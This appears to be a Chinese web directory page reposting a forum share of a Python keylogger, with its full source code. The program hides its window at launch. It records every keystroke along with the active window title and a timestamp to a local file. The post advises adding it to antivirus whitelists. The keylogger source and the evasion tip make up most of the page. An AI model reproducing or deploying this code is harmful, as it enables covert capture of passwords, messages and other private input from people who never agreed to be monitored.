Loading...

源码是之前网上找的,自己修改了一下。已附上源码,不放心的可以自己编译打包。
打开程序自动隐藏界面,进程里可以看到。记录文件保存在程序的所在目录下。
记得有杀毒软件的添加到白名单。

[Python] 分享一个键盘记录器-吾爱破解

源代码

# -*- coding: utf-8 -*-    
from ctypes import * 
import pythoncom  
import PyHook3
import win32clipboard  
import os,sys
import time
path=os.getcwd()
 
user32 = windll.user32  
kernel32 = windll.kernel32  
psapi = windll.psapi
current_window = None
 
# Fkey=["F1","F2","F3","F4","F5","F6","F7","F8","F9","F10","F11","F12"]
# 定义击键监听事件函数  
def OnKeyboardEvent(event):
    global current_window,path
    FileStr=""
     
    # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)  
    if event.Window != current_window:  
        current_window = event.Window
        # event.WindowName有时候会不好用
        # 所以调用底层API喊来获取窗口标题
        windowTitle = create_string_buffer(512)
        windll.user32.GetWindowTextA(event.Window,
                                     byref(windowTitle),
                                     512)
        windowName = windowTitle.value.decode('gbk')
        FileStr+="\n"+("-"*50)+"\n窗口:%s\n时间:%s\n"%(windowName,time.strftime('%Y-%m-%d %H:%M:%S'))
        #print("\n-----------------")
        #print("窗口名:%s"%windowName)
        # print("窗口ID:%s"%event.Window)
    # 检测击键是否常规按键(非组合键等)  
    if event.Ascii > 32 and event.Ascii <127:
        FileStr+=chr(event.Ascii)
        #print(chr(event.Ascii),end=''
    else:
        if(event.Key=="Space"):
            FileStr+=" "
        elif(event.Key=="Return"):
            FileStr+="[回车] "
        elif(event.Key=="Back"):
            FileStr+="[删除] "
    #写入文件    
    fp=open(path+"/KeyBoardListen","a",encoding='utf-8')
    fp.write(FileStr)
    fp.close()
    # 循环监听下一个击键事件
    return True
 
# 创建并注册hook管理器  
kl = PyHook3.HookManager()  #
kl.KeyDown = OnKeyboardEvent
 
 
#写入日期   
fp=open(path+"/KeyBoardListen","a",encoding='utf-8')
fp.write('\n\n'+'#######################################'
    +'\n#'+' '*9+time.strftime('%Y-%m-%d %H:%M:%S')+' '*9+'#'
    +'\n'+'#######################################')
fp.close()
# 注册hook并执行  
kl.HookKeyboard()
pythoncom.PumpMessages()

数据评估

pyhook键盘记录器浏览人数已经达到180,如你需要查询该站的相关权重信息,可以点击"5118数据""爱站数据""Chinaz数据"进入;以目前的网站数据参考,建议大家请以爱站数据为准,更多网站价值评估因素如:pyhook键盘记录器的访问速度、搜索引擎收录以及索引量、用户体验等;当然要评估一个站的价值,最主要还是需要根据您自身的需求以及需要,一些确切的数据则需要找pyhook键盘记录器的站长进行洽谈提供。如该站的IP、PV、跳出率等!

关于pyhook键盘记录器特别声明

本站LINSIR的博客提供的pyhook键盘记录器都来源于网络,不保证外部链接的准确性和完整性,同时,对于该外部链接的指向,不由LINSIR的博客实际控制,在2020-05-27 07:57收录时,该网页上的内容,都属于合规合法,后期网页的内容如出现违规,可以直接联系网站管理员进行删除,LINSIR的博客不承担任何责任。

相关导航

没有相关内容!

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...